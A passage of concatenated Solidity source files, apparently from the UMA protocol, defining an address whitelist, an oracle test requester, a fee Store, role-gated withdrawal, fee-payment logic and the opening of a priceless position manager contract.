// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Lockable.sol";
/**
* @title A contract to track a whitelist of addresses.
*/
contract AddressWhitelist is Ownable, Lockable {
enum Status { None, In, Out }
mapping(address => Status) public whitelist;
address[] public whitelistIndices;
event AddedToWhitelist(address indexed addedAddress);
event RemovedFromWhitelist(address indexed removedAddress);
/**
* @notice Adds an address to the whitelist.
* @param newElement the new address to add.
*/
function addToWhitelist(address newElement) external nonReentrant() onlyOwner {
// Ignore if address is already included
if (whitelist[newElement] == Status.In) {
return;
}
// Only append new addresses to the array, never a duplicate
if (whitelist[newElement] == Status.None) {
whitelistIndices.push(newElement);
}
whitelist[newElement] = Status.In;
emit AddedToWhitelist(newElement);
}
/**
* @notice Removes an address from the whitelist.
* @param elementToRemove the existing address to remove.
*/
function removeFromWhitelist(address elementToRemove) external nonReentrant() onlyOwner {
if (whitelist[elementToRemove] != Status.Out) {
whitelist[elementToRemove] = Status.Out;
emit RemovedFromWhitelist(elementToRemove);
}
}
/**
* @notice Checks whether an address is on the whitelist.
* @param elementToCheck the address to check.
* @return True if `elementToCheck` is on the whitelist, or False.
*/
function isOnWhitelist(address elementToCheck) external view nonReentrantView() returns (bool) {
return whitelist[elementToCheck] == Status.In;
}
/**
* @notice Gets all addresses that are currently included in the whitelist.
* @dev Note: This method skips over, but still iterates through addresses. It is possible for this call to run out
* of gas if a large number of addresses have been removed. To reduce the likelihood of this unlikely scenario, we
* can modify the implementation so that when addresses are removed, the last addresses in the array is moved to
* the empty index.
* @return activeWhitelist the list of addresses on the whitelist.
*/
function getWhitelist() external view nonReentrantView() returns (address[] memory activeWhitelist) {
// Determine size of whitelist first
uint256 activeCount = 0;
for (uint256 i = 0; i < whitelistIndices.length; i++) {
if (whitelist[whitelistIndices[i]] == Status.In) {
activeCount++;
}
}
// Populate whitelist
activeWhitelist = new address[](activeCount);
activeCount = 0;
for (uint256 i = 0; i < whitelistIndices.length; i++) {
address addr = whitelistIndices[i];
if (whitelist[addr] == Status.In) {
activeWhitelist[activeCount] = addr;
activeCount++;
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../OptimisticOracle.sol";
// This is just a test contract to make requests to the optimistic oracle.
contract OptimisticRequesterTest is OptimisticRequester {
OptimisticOracle optimisticOracle;
bool public shouldRevert = false;
// State variables to track incoming calls.
bytes32 public identifier;
uint256 public timestamp;
bytes public ancillaryData;
uint256 public refund;
int256 public price;
// Implement collateralCurrency so that this contract simulates a financial contract whose collateral
// token can be fetched by off-chain clients.
IERC20 public collateralCurrency;
// Manually set an expiration timestamp to simulate expiry price requests
uint256 public expirationTimestamp;
constructor(OptimisticOracle _optimisticOracle) public {
optimisticOracle = _optimisticOracle;
}
function requestPrice(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
IERC20 currency,
uint256 reward
) external {
// Set collateral currency to last requested currency:
collateralCurrency = currency;
currency.approve(address(optimisticOracle), reward);
optimisticOracle.requestPrice(_identifier, _timestamp, _ancillaryData, currency, reward);
}
function settleAndGetPrice(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external returns (int256) {
return optimisticOracle.settleAndGetPrice(_identifier, _timestamp, _ancillaryData);
}
function setBond(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 bond
) external {
optimisticOracle.setBond(_identifier, _timestamp, _ancillaryData, bond);
}
function setRefundOnDispute(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external {
optimisticOracle.setRefundOnDispute(_identifier, _timestamp, _ancillaryData);
}
function setCustomLiveness(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 customLiveness
) external {
optimisticOracle.setCustomLiveness(_identifier, _timestamp, _ancillaryData, customLiveness);
}
function setRevert(bool _shouldRevert) external {
shouldRevert = _shouldRevert;
}
function setExpirationTimestamp(uint256 _expirationTimestamp) external {
expirationTimestamp = _expirationTimestamp;
}
function clearState() external {
delete identifier;
delete timestamp;
delete refund;
delete price;
}
function priceProposed(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
}
function priceDisputed(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 _refund
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
refund = _refund;
}
function priceSettled(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
int256 _price
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
price = _price;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/Withdrawable.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/StoreInterface.sol";
/**
* @title An implementation of Store that can accept Oracle fees in ETH or any arbitrary ERC20 token.
*/
contract Store is StoreInterface, Withdrawable, Testable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for uint256;
using SafeERC20 for IERC20;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles { Owner, Withdrawer }
FixedPoint.Unsigned public fixedOracleFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% Oracle fee.
FixedPoint.Unsigned public weeklyDelayFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% weekly delay fee.
mapping(address => FixedPoint.Unsigned) public finalFees;
uint256 public constant SECONDS_PER_WEEK = 604800;
/****************************************
* EVENTS *
****************************************/
event NewFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned newOracleFee);
event NewWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned newWeeklyDelayFeePerSecondPerPfc);
event NewFinalFee(FixedPoint.Unsigned newFinalFee);
/**
* @notice Construct the Store contract.
*/
constructor(
FixedPoint.Unsigned memory _fixedOracleFeePerSecondPerPfc,
FixedPoint.Unsigned memory _weeklyDelayFeePerSecondPerPfc,
address _timerAddress
) public Testable(_timerAddress) {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Owner), msg.sender);
setFixedOracleFeePerSecondPerPfc(_fixedOracleFeePerSecondPerPfc);
setWeeklyDelayFeePerSecondPerPfc(_weeklyDelayFeePerSecondPerPfc);
}
/****************************************
* ORACLE FEE CALCULATION AND PAYMENT *
****************************************/
/**
* @notice Pays Oracle fees in ETH to the store.
* @dev To be used by contracts whose margin currency is ETH.
*/
function payOracleFees() external payable override {
require(msg.value > 0, "Value sent can't be zero");
}
/**
* @notice Pays oracle fees in the margin currency, erc20Address, to the store.
* @dev To be used if the margin currency is an ERC20 token rather than ETH.
* @param erc20Address address of the ERC20 token used to pay the fee.
* @param amount number of tokens to transfer. An approval for at least this amount must exist.
*/
function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external override {
IERC20 erc20 = IERC20(erc20Address);
require(amount.isGreaterThan(0), "Amount sent can't be zero");
erc20.safeTransferFrom(msg.sender, address(this), amount.rawValue);
}
/**
* @notice Computes the regular oracle fees that a contract should pay for a period.
* @dev The late penalty is similar to the regular fee in that is is charged per second over the period between
* startTime and endTime.
*
* The late penalty percentage increases over time as follows:
*
* - 0-1 week since startTime: no late penalty
*
* - 1-2 weeks since startTime: 1x late penalty percentage is applied
*
* - 2-3 weeks since startTime: 2x late penalty percentage is applied
*
* - ...
*
* @param startTime defines the beginning time from which the fee is paid.
* @param endTime end time until which the fee is paid.
* @param pfc "profit from corruption", or the maximum amount of margin currency that a
* token sponsor could extract from the contract through corrupting the price feed in their favor.
* @return regularFee amount owed for the duration from start to end time for the given pfc.
* @return latePenalty penalty percentage, if any, for paying the fee after the deadline.
*/
function computeRegularFee(
uint256 startTime,
uint256 endTime,
FixedPoint.Unsigned calldata pfc
) external view override returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty) {
uint256 timeDiff = endTime.sub(startTime);
// Multiply by the unscaled `timeDiff` first, to get more accurate results.
regularFee = pfc.mul(timeDiff).mul(fixedOracleFeePerSecondPerPfc);
// Compute how long ago the start time was to compute the delay penalty.
uint256 paymentDelay = getCurrentTime().sub(startTime);
// Compute the additional percentage (per second) that will be charged because of the penalty.
// Note: if less than a week has gone by since the startTime, paymentDelay / SECONDS_PER_WEEK will truncate to
// 0, causing no penalty to be charged.
FixedPoint.Unsigned memory penaltyPercentagePerSecond =
weeklyDelayFeePerSecondPerPfc.mul(paymentDelay.div(SECONDS_PER_WEEK));
// Apply the penaltyPercentagePerSecond to the payment period.
latePenalty = pfc.mul(timeDiff).mul(penaltyPercentagePerSecond);
}
/**
* @notice Computes the final oracle fees that a contract should pay at settlement.
* @param currency token used to pay the final fee.
* @return finalFee amount due denominated in units of `currency`.
*/
function computeFinalFee(address currency) external view override returns (FixedPoint.Unsigned memory) {
return finalFees[currency];
}
/****************************************
* ADMIN STATE MODIFYING FUNCTIONS *
****************************************/
/**
* @notice Sets a new oracle fee per second.
* @param newFixedOracleFeePerSecondPerPfc new fee per second charged to use the oracle.
*/
function setFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned memory newFixedOracleFeePerSecondPerPfc)
public
onlyRoleHolder(uint256(Roles.Owner))
{
// Oracle fees at or over 100% don't make sense.
require(newFixedOracleFeePerSecondPerPfc.isLessThan(1), "Fee must be < 100% per second.");
fixedOracleFeePerSecondPerPfc = newFixedOracleFeePerSecondPerPfc;
emit NewFixedOracleFeePerSecondPerPfc(newFixedOracleFeePerSecondPerPfc);
}
/**
* @notice Sets a new weekly delay fee.
* @param newWeeklyDelayFeePerSecondPerPfc fee escalation per week of late fee payment.
*/
function setWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned memory newWeeklyDelayFeePerSecondPerPfc)
public
onlyRoleHolder(uint256(Roles.Owner))
{
require(newWeeklyDelayFeePerSecondPerPfc.isLessThan(1), "weekly delay fee must be < 100%");
weeklyDelayFeePerSecondPerPfc = newWeeklyDelayFeePerSecondPerPfc;
emit NewWeeklyDelayFeePerSecondPerPfc(newWeeklyDelayFeePerSecondPerPfc);
}
/**
* @notice Sets a new final fee for a particular currency.
* @param currency defines the token currency used to pay the final fee.
* @param newFinalFee final fee amount.
*/
function setFinalFee(address currency, FixedPoint.Unsigned memory newFinalFee)
public
onlyRoleHolder(uint256(Roles.Owner))
{
finalFees[currency] = newFinalFee;
emit NewFinalFee(newFinalFee);
}
}
/**
* Withdrawable contract.
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./MultiRole.sol";
/**
* @title Base contract that allows a specific role to withdraw any ETH and/or ERC20 tokens that the contract holds.
*/
abstract contract Withdrawable is MultiRole {
using SafeERC20 for IERC20;
uint256 private roleId;
/**
* @notice Withdraws ETH from the contract.
*/
function withdraw(uint256 amount) external onlyRoleHolder(roleId) {
Address.sendValue(msg.sender, amount);
}
/**
* @notice Withdraws ERC20 tokens from the contract.
* @param erc20Address ERC20 token to withdraw.
* @param amount amount of tokens to withdraw.
*/
function withdrawErc20(address erc20Address, uint256 amount) external onlyRoleHolder(roleId) {
IERC20 erc20 = IERC20(erc20Address);
erc20.safeTransfer(msg.sender, amount);
}
/**
* @notice Internal method that allows derived contracts to create a role for withdrawal.
* @dev Either this method or `_setWithdrawRole` must be called by the derived class for this contract to function
* properly.
* @param newRoleId ID corresponding to role whose members can withdraw.
* @param managingRoleId ID corresponding to managing role who can modify the withdrawable role's membership.
* @param withdrawerAddress new manager of withdrawable role.
*/
function _createWithdrawRole(
uint256 newRoleId,
uint256 managingRoleId,
address withdrawerAddress
) internal {
roleId = newRoleId;
_createExclusiveRole(newRoleId, managingRoleId, withdrawerAddress);
}
/**
* @notice Internal method that allows derived contracts to choose the role for withdrawal.
* @dev The role `setRoleId` must exist. Either this method or `_createWithdrawRole` must be
* called by the derived class for this contract to function properly.
* @param setRoleId ID corresponding to role whose members can withdraw.
*/
function _setWithdrawRole(uint256 setRoleId) internal onlyValidRole(setRoleId) {
roleId = setRoleId;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../../oracle/interfaces/StoreInterface.sol";
import "../../oracle/interfaces/FinderInterface.sol";
import "../../oracle/interfaces/AdministrateeInterface.sol";
import "../../oracle/implementation/Constants.sol";
/**
* @title FeePayer contract.
* @notice Provides fee payment functionality for the ExpiringMultiParty contract.
* contract is abstract as each derived contract that inherits `FeePayer` must implement `pfc()`.
*/
abstract contract FeePayer is AdministrateeInterface, Testable, Lockable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
/****************************************
* FEE PAYER DATA STRUCTURES *
****************************************/
// The collateral currency used to back the positions in this contract.
IERC20 public collateralCurrency;
// Finder contract used to look up addresses for UMA system contracts.
FinderInterface public finder;
// Tracks the last block time when the fees were paid.
uint256 private lastPaymentTime;
// Tracks the cumulative fees that have been paid by the contract for use by derived contracts.
// The multiplier starts at 1, and is updated by computing cumulativeFeeMultiplier * (1 - effectiveFee).
// Put another way, the cumulativeFeeMultiplier is (1 - effectiveFee1) * (1 - effectiveFee2) ...
// For example:
// The cumulativeFeeMultiplier should start at 1.
// If a 1% fee is charged, the multiplier should update to .99.
// If another 1% fee is charged, the multiplier should be 0.99^2 (0.9801).
FixedPoint.Unsigned public cumulativeFeeMultiplier;
/****************************************
* EVENTS *
****************************************/
event RegularFeesPaid(uint256 indexed regularFee, uint256 indexed lateFee);
event FinalFeesPaid(uint256 indexed amount);
/****************************************
* MODIFIERS *
****************************************/
// modifier that calls payRegularFees().
modifier fees virtual {
// Note: the regular fee is applied on every fee-accruing transaction, where the total change is simply the
// regular fee applied linearly since the last update. This implies that the compounding rate depends on the
// frequency of update transactions that have this modifier, and it never reaches the ideal of continuous
// compounding. This approximate-compounding pattern is common in the Ethereum ecosystem because of the
// complexity of compounding data on-chain.
payRegularFees();
_;
}
/**
* @notice Constructs the FeePayer contract. Called by child contracts.
* @param _collateralAddress ERC20 token that is used as the underlying collateral for the synthetic.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _collateralAddress,
address _finderAddress,
address _timerAddress
) public Testable(_timerAddress) {
collateralCurrency = IERC20(_collateralAddress);
finder = FinderInterface(_finderAddress);
lastPaymentTime = getCurrentTime();
cumulativeFeeMultiplier = FixedPoint.fromUnscaledUint(1);
}
/****************************************
* FEE PAYMENT FUNCTIONS *
****************************************/
/**
* @notice Pays UMA DVM regular fees (as a % of the collateral pool) to the Store contract.
* @dev These must be paid periodically for the life of the contract. If the contract has not paid its regular fee
* in a week or more then a late penalty is applied which is sent to the caller. If the amount of
* fees owed are greater than the pfc, then this will pay as much as possible from the available collateral.
* An event is only fired if the fees charged are greater than 0.
* @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller).
* This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0.
*/
function payRegularFees() public nonReentrant() returns (FixedPoint.Unsigned memory) {
uint256 time = getCurrentTime();
FixedPoint.Unsigned memory collateralPool = _pfc();
// Fetch the regular fees, late penalty and the max possible to pay given the current collateral within the contract.
(
FixedPoint.Unsigned memory regularFee,
FixedPoint.Unsigned memory latePenalty,
FixedPoint.Unsigned memory totalPaid
) = getOutstandingRegularFees(time);
lastPaymentTime = time;
// If there are no fees to pay then exit early.
if (totalPaid.isEqual(0)) {
return totalPaid;
}
emit RegularFeesPaid(regularFee.rawValue, latePenalty.rawValue);
_adjustCumulativeFeeMultiplier(totalPaid, collateralPool);
if (regularFee.isGreaterThan(0)) {
StoreInterface store = _getStore();
collateralCurrency.safeIncreaseAllowance(address(store), regularFee.rawValue);
store.payOracleFeesErc20(address(collateralCurrency), regularFee);
}
if (latePenalty.isGreaterThan(0)) {
collateralCurrency.safeTransfer(msg.sender, latePenalty.rawValue);
}
return totalPaid;
}
/**
* @notice Fetch any regular fees that the contract has pending but has not yet paid. If the fees to be paid are more
* than the total collateral within the contract then the totalPaid returned is full contract collateral amount.
* @dev This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0.
* @return regularFee outstanding unpaid regular fee.
* @return latePenalty outstanding unpaid late fee for being late in previous fee payments.
* @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller).
*/
function getOutstandingRegularFees(uint256 time)
public
view
returns (
FixedPoint.Unsigned memory regularFee,
FixedPoint.Unsigned memory latePenalty,
FixedPoint.Unsigned memory totalPaid
)
{
StoreInterface store = _getStore();
FixedPoint.Unsigned memory collateralPool = _pfc();
// Exit early if there is no collateral or if fees were already paid during this block.
if (collateralPool.isEqual(0) || lastPaymentTime == time) {
return (regularFee, latePenalty, totalPaid);
}
(regularFee, latePenalty) = store.computeRegularFee(lastPaymentTime, time, collateralPool);
totalPaid = regularFee.add(latePenalty);
if (totalPaid.isEqual(0)) {
return (regularFee, latePenalty, totalPaid);
}
// If the effective fees paid as a % of the pfc is > 100%, then we need to reduce it and make the contract pay
// as much of the fee that it can (up to 100% of its pfc). We'll reduce the late penalty first and then the
// regular fee, which has the effect of paying the store first, followed by the caller if there is any fee remaining.
if (totalPaid.isGreaterThan(collateralPool)) {
FixedPoint.Unsigned memory deficit = totalPaid.sub(collateralPool);
FixedPoint.Unsigned memory latePenaltyReduction = FixedPoint.min(latePenalty, deficit);
latePenalty = latePenalty.sub(latePenaltyReduction);
deficit = deficit.sub(latePenaltyReduction);
regularFee = regularFee.sub(FixedPoint.min(regularFee, deficit));
totalPaid = collateralPool;
}
}
/**
* @notice Gets the current profit from corruption for this contract in terms of the collateral currency.
* @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are
* expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC.
* @return pfc value for equal to the current profit from corruption denominated in collateral currency.
*/
function pfc() external view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _pfc();
}
/**
* @notice Removes excess collateral balance not counted in the PfC by distributing it out pro-rata to all sponsors.
* @dev Multiplying the `cumulativeFeeMultiplier` by the ratio of non-PfC-collateral :: PfC-collateral effectively
* pays all sponsors a pro-rata portion of the excess collateral.
* @dev This will revert if PfC is 0 and this contract's collateral balance > 0.
*/
function gulp() external nonReentrant() {
_gulp();
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Pays UMA Oracle final fees of `amount` in `collateralCurrency` to the Store contract. Final fee is a flat fee
// charged for each price request. If payer is the contract, adjusts internal bookkeeping variables. If payer is not
// the contract, pulls in `amount` of collateral currency.
function _payFinalFees(address payer, FixedPoint.Unsigned memory amount) internal {
if (amount.isEqual(0)) {
return;
}
if (payer != address(this)) {
// If the payer is not the contract pull the collateral from the payer.
collateralCurrency.safeTransferFrom(payer, address(this), amount.rawValue);
} else {
// If the payer is the contract, adjust the cumulativeFeeMultiplier to compensate.
FixedPoint.Unsigned memory collateralPool = _pfc();
// The final fee must be < available collateral or the fee will be larger than 100%.
// Note: revert reason removed to save bytecode.
require(collateralPool.isGreaterThan(amount));
_adjustCumulativeFeeMultiplier(amount, collateralPool);
}
emit FinalFeesPaid(amount.rawValue);
StoreInterface store = _getStore();
collateralCurrency.safeIncreaseAllowance(address(store), amount.rawValue);
store.payOracleFeesErc20(address(collateralCurrency), amount);
}
function _gulp() internal {
FixedPoint.Unsigned memory currentPfc = _pfc();
FixedPoint.Unsigned memory currentBalance = FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this)));
if (currentPfc.isLessThan(currentBalance)) {
cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(currentBalance.div(currentPfc));
}
}
function _pfc() internal view virtual returns (FixedPoint.Unsigned memory);
function _getStore() internal view returns (StoreInterface) {
return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
}
function _computeFinalFees() internal view returns (FixedPoint.Unsigned memory finalFees) {
StoreInterface store = _getStore();
return store.computeFinalFee(address(collateralCurrency));
}
// Returns the user's collateral minus any fees that have been subtracted since it was originally
// deposited into the contract. Note: if the contract has paid fees since it was deployed, the raw
// value should be larger than the returned value.
function _getFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral)
internal
view
returns (FixedPoint.Unsigned memory collateral)
{
return rawCollateral.mul(cumulativeFeeMultiplier);
}
// Returns the user's collateral minus any pending fees that have yet to be subtracted.
function _getPendingRegularFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral)
internal
view
returns (FixedPoint.Unsigned memory)
{
(, , FixedPoint.Unsigned memory currentTotalOutstandingRegularFees) =
getOutstandingRegularFees(getCurrentTime());
if (currentTotalOutstandingRegularFees.isEqual(FixedPoint.fromUnscaledUint(0))) return rawCollateral;
// Calculate the total outstanding regular fee as a fraction of the total contract PFC.
FixedPoint.Unsigned memory effectiveOutstandingFee = currentTotalOutstandingRegularFees.divCeil(_pfc());
// Scale as rawCollateral* (1 - effectiveOutstandingFee) to apply the pro-rata amount to the regular fee.
return rawCollateral.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveOutstandingFee));
}
// Converts a user-readable collateral value into a raw value that accounts for already-assessed fees. If any fees
// have been taken from this contract in the past, then the raw value will be larger than the user-readable value.
function _convertToRawCollateral(FixedPoint.Unsigned memory collateral)
internal
view
returns (FixedPoint.Unsigned memory rawCollateral)
{
return collateral.div(cumulativeFeeMultiplier);
}
// Decrease rawCollateral by a fee-adjusted collateralToRemove amount. Fee adjustment scales up collateralToRemove
// by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore
// rawCollateral is decreased by less than expected. Because this method is usually called in conjunction with an
// actual removal of collateral from this contract, return the fee-adjusted amount that the rawCollateral is
// decreased by so that the caller can minimize error between collateral removed and rawCollateral debited.
function _removeCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToRemove)
internal
returns (FixedPoint.Unsigned memory removedCollateral)
{
FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral);
FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToRemove);
rawCollateral.rawValue = rawCollateral.sub(adjustedCollateral).rawValue;
removedCollateral = initialBalance.sub(_getFeeAdjustedCollateral(rawCollateral));
}
// Increase rawCollateral by a fee-adjusted collateralToAdd amount. Fee adjustment scales up collateralToAdd
// by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore
// rawCollateral is increased by less than expected. Because this method is usually called in conjunction with an
// actual addition of collateral to this contract, return the fee-adjusted amount that the rawCollateral is
// increased by so that the caller can minimize error between collateral added and rawCollateral credited.
// NOTE: This return value exists only for the sake of symmetry with _removeCollateral. We don't actually use it
// because we are OK if more collateral is stored in the contract than is represented by rawTotalPositionCollateral.
function _addCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToAdd)
internal
returns (FixedPoint.Unsigned memory addedCollateral)
{
FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral);
FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToAdd);
rawCollateral.rawValue = rawCollateral.add(adjustedCollateral).rawValue;
addedCollateral = _getFeeAdjustedCollateral(rawCollateral).sub(initialBalance);
}
// Scale the cumulativeFeeMultiplier by the ratio of fees paid to the current available collateral.
function _adjustCumulativeFeeMultiplier(FixedPoint.Unsigned memory amount, FixedPoint.Unsigned memory currentPfc)
internal
{
FixedPoint.Unsigned memory effectiveFee = amount.divCeil(currentPfc);
cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveFee));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that all financial contracts expose to the admin.
*/
interface AdministrateeInterface {
/**
* @notice Initiates the shutdown process, in case of an emergency.
*/
function emergencyShutdown() external;
/**
* @notice A core contract method called independently or as a part of other financial contract transactions.
* @dev It pays fees and moves money between margin accounts to make sure they reflect the NAV of the contract.
*/
function remargin() external;
/**
* @notice Gets the current profit from corruption for this contract in terms of the collateral currency.
* @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are
* expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC.
* @return pfc value for equal to the current profit from corruption denominated in collateral currency.
*/
function pfc() external view returns (FixedPoint.Unsigned memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/interfaces/OptimisticOracleInterface.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/implementation/Constants.sol";
import "../common/FeePayer.sol";
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
/**
* @title Financial contract with priceless position management.
* @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying
* on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token.
*/
contract PricelessPositionManager is FeePayer {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
using SafeERC20 for ExpandedIERC20;
using Address for address;
/****************************************
* PRICELESS POSITION DATA STRUCTURES *
****************************************/
// Stores the state of the PricelessPositionManager. Set on expiration, emergency shutdown, or settlement.
enum ContractState { Open, ExpiredPriceRequested, ExpiredPriceReceived }
ContractState public contractState;
// Represents a single sponsor's position. All collateral is held by this contract.
// This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor.
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
// Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`.
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
// Tracks pending transfer position requests. A transfer position request is pending if `transferPositionRequestPassTimestamp != 0`.
uint256 transferPositionRequestPassTimestamp;
}
// Maps sponsor addresses to their positions. Each sponsor can have only one position.
mapping(address => PositionData) public positions;
// Keep track of the total collateral and tokens across all positions to enable calculating the
// global collateralization ratio without iterating over all positions.
FixedPoint.Unsigned public totalTokensOutstanding;
// Similar to the rawCollateral in PositionData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned public rawTotalPositionCollateral;
// Synthetic token created by this contract.
ExpandedIERC20 public tokenCurrency;
// Unique identifier for DVM price feed ticker.
bytes32 public priceIdentifier;
// Time that this contract expires. Should not change post-construction unless an emergency shutdown occurs.
uint256 public expirationTimestamp;
// Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur.
// !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract.
// Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests
// expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent
// contract is extremely risky for any sponsor or synthetic token holder for the contract.
uint256 public withdrawalLiveness;
// Minimum number of tokens in a sponsor's position.
FixedPoint.Unsigned public minSponsorTokens;
// The expiry price pulled from the DVM.
FixedPoint.Unsigned public expiryPrice;
// Instance of FinancialProductLibrary to provide custom price and collateral requirement transformations to extend
// the functionality of the EMP to support a wider range of financial products.
FinancialProductLibrary public financialProductLibrary;
/****************************************
* EVENTS *
****************************************/
event RequestTransferPosition(address indexed oldSponsor);
event RequestTransferPositionExecuted(address indexed oldSponsor, address indexed newSponsor);
event RequestTransferPositionCanceled(address indexed oldSponsor);
event Deposit(address indexed sponsor, uint256 indexed collateralAmount);
event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount);
event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition(address indexed sponsor);
event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount);
